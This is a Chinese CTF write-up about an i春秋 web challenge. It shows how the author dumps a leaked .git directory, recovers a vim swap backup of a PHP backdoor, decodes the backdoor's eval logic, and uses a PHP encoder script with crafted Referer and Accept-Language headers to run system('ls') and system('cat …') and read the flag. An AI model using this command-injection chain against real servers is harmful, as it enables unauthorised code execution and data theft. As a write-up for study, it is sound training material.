點開是道沒有任何窗口的題,右鍵查看源碼也沒上面東西,抓包試試,也沒找到什么提示性的信息,根據提示去看看敏感文件泄露是什么吧
這里找到了篇敏感文件泄露的介紹及利用方法:https://www.cnblogs.com/pannengzhi/p/2017-09-23-web-file-disclosure.html
然后這里的使用方法就是在連接后面補充.git;.hg.......最后發現.git的報錯是禁止訪問,而其他的則是未找到,所以這里是git敏感文件泄露,而git文件是不能直接看到的,我們需要下載GitHack來下載利用泄露文件,這里附上下載鏈接:https://github.com/lijiejie/GitHack
下載后的使用方法也很簡單,作用也就下載git敏感文件泄露。這里我們打開cmd,在cmd中打開GitHack的文件夾
再輸入 python GitHack.py http://1270485ad6e5419eb84b2bbf2ca113ae47cf39637fcd4bf6.changame.ichunqiu.com/Challenges/.git/ 來下載網頁上泄露的git,
不過這里涉及到.git文件的歷史文件,也就是修改之前的文件,所以GitHack需要更麻煩的修改,所以這里使用Git_Extract,是個dalao自己寫的,很方便,這里附上下載鏈接https://github.com/gakki429/Git_Extract,下載后使用方法也很簡單,先通過cmd指令打開Git_Extract文件夾
cd C:\Users\七星\Desktop\tools\Git_Extract-master
然后python git_extract.py http://1270485ad6e5419eb84b2bbf2ca113ae47cf39637fcd4bf6.changame.ichunqiu.com/Challenges/.git/獲取.git泄露文件
然后獲取到.git及歷史
全部打開一一檢查發現了提示信息
所以我們根據提示搜索b4ckdo0r.php,界面上也沒什么信息,還是同樣的,查看源碼,抓包沒什么信息,可能還是敏感文件泄露,繼續測試。。。。無果,看了下wp才知道這里是.swo備份文件泄露,具體的利用方法是直接url:http://037a02c1c0e34ad1b7ce0c816843af4837a413b838964a33.changame.ichunqiu.com/Challenges/.b4ckdo0r.php.swo訪問就行了,會讓我們下載備份文件,我們就先下載下來試試
下載下來后是需要我們恢復的swo文件,我們將其放在kali上進行vim的復原(將本地文件放入kali需要VM Tools,具體安裝方法再本博客搜如何在kali Linux上安裝VMware Tools)
復原步驟:
- 將下載好的swo文件改后綴為swp
- 將swp文件發送到kali上
- 在kali的終端上打開swp文件的目錄
root@kali:~# cd /root/桌面
4.修復swp文件
root@kali:~/桌面# vim -r b4ckdo0r.php.swp
然后輸入一次回車就可以得到修復好的swp文件了
這么密密麻麻的是混淆后的代碼,我們將其復制到本地,在最后一行加入
echo ($L);
然后本地運行
但是發現這里折疊了,少了很多東西,一看源碼才知道,這里存在<>,被html當標簽處理了
所以這里直接查看源碼,復制下來,整理一下,得到網頁web源碼了
然后分析源碼,在43行找到了個可利用的eval()函數
再來解讀下代碼,
1.首先定義賦值兩個參數
2.然后定義了一個函數,函數的功能是傳入兩個變量然后取其長度,將其變量與長度串聯起來,輸出串聯后的變量和長度
3.再定義三個變量,其中rr是頭部url,ra是頭部傳入的Language值
4.然后一個判斷,如果rr和ra都存在就執行不存在就沒了,所以這里rr和ra是必要傳入的
5.if里面先定義了一個變量u,讓其解析傳入的url
6.把查詢到的url中的query值傳入變量中
7.讓變量q等於query的數組
8.執行一個全局正則表達式的匹配
9.然后如果變量q和m都存在則又執行新的內容,否則什么都沒有,所以這兩個值一定是要有的
10.將請求的session值傳入,保存到變量s中,然后又定義了ss和sl兩個變量並賦值
11.定義一個變量i,讓其等於m數組的第一個值並聯第二個值
12.將i的值與kh的值並聯,md5加密,然后返回前三位的值,將其給h
13.將i的值與kf的值並聯,md5加密,然后返回前三位的值,將其給f
14.然后讓變量p不斷賦值,使其等於$q[$m[2][$z]](z從1一直變到m的上線)的並聯
15.然后一個if判斷,如果變量p中沒有和變量h相同的的字符串就$s[$i]為空,p等於p的前三位
16.然后檢查變量i中有沒有s變量字符串,有的話就s[$i]與p並聯,讓變量e等於變量f在變量s[$i]中首次出現的位置,如果存在就繼續執行
17.變量k的值等於變量kh與kf的字符串並聯
18.打開web緩沖
19.然后是可利用的eval函數
20.把緩沖區數據傳給變量o
21.清空緩沖區
22.然后給變量o壓縮,進行x函數(最開始定義的函數),在base64解碼,將其值給變量d
23.輸出變量d
24.結束session
具體代碼含義及利用方法請參考:https://www.cnblogs.com/sijidou/p/9827720.html
所以這里先利用eval()函數執行一次system(‘ls’)指令,而ls是要被加密解密復雜運算的,所以我們這里就先對他反向加密解密
附上一個dalao的腳本
<?php function x($t,$k) { $c=strlen($k); $l=strlen($t); $o=""; for($i=0; $i<$l;) { for($j=0; ($j<$c&&$i<$l); $j++,$i++) { $o.= $t{$i} ^ $k{$j}; } } return $o; } function get_answer($str){ $str = base64_decode($str); $str = x($str, '4f7f28d7'); $str = gzuncompress($str); echo $str . "<br>"; } function input($cmd){ $str = 'system("' . $cmd . '");'; $t1 = gzcompress($str); echo '$t1 = ' . $t1 . "<br>"; $t2 = x($t1, '4f7f28d7'); echo '$t2 = ' . $t2 . "<br>"; $t3 = base64_encode($t2); echo '$t3 = ' . $t3 . "<br>"; return $t3; } $ra='zh-CN,zh;q=0.0'; input('ls');//get_answer(''); ?>
本地運行,得到ls的反向加密解密
然后對http://70b22a768b3e4610b5301bee9da8a9e449d6cccf2ba648e1.changame.ichunqiu.com/Challenges/b4ckdo0r.php進行抓包,修改Accept-Language的值,手動傳入Referer的值來達到我們利用eval()函數執行system(‘ls’)的目的,然后運行一下得到返回值
Accept-Language: zh-CN,zh;q=0.0
Referer: http://8.8.8.8/index.php?a=675TPocyB4WLfrhNv1PZOrQMTREimJna3e
然后將返回值填入剛剛的腳本中進行解碼
得到解碼后的字符串
很明顯,這里顯示的this_i5_flag.php是網站根目錄下的文件,我們訪問試試
。。。。。好吧,想不通
看來還得通過利用eval()函數來執行system()函數進行訪問
這里需要用到system(‘cat this_i5_flag.php’),所以我們就把cat this_i5_flag.php放到剛剛的腳本中進行反加密解密
然后之前的抓包中修改Referer
Referer:http://8.8.8.8/index.php?a=675TPocyB4WLfrhNn0oHmlM/vxKuakGtSv8fSrgTfoQNOWAYDfeUDKWa3e
運行一下得到返回值,再次將返回值復制到腳本然后本地運行,這里運行的結果是沒有顯示的,因為他在源碼中是被注釋的,我們右鍵本地運行的網頁查看源碼即可得到flag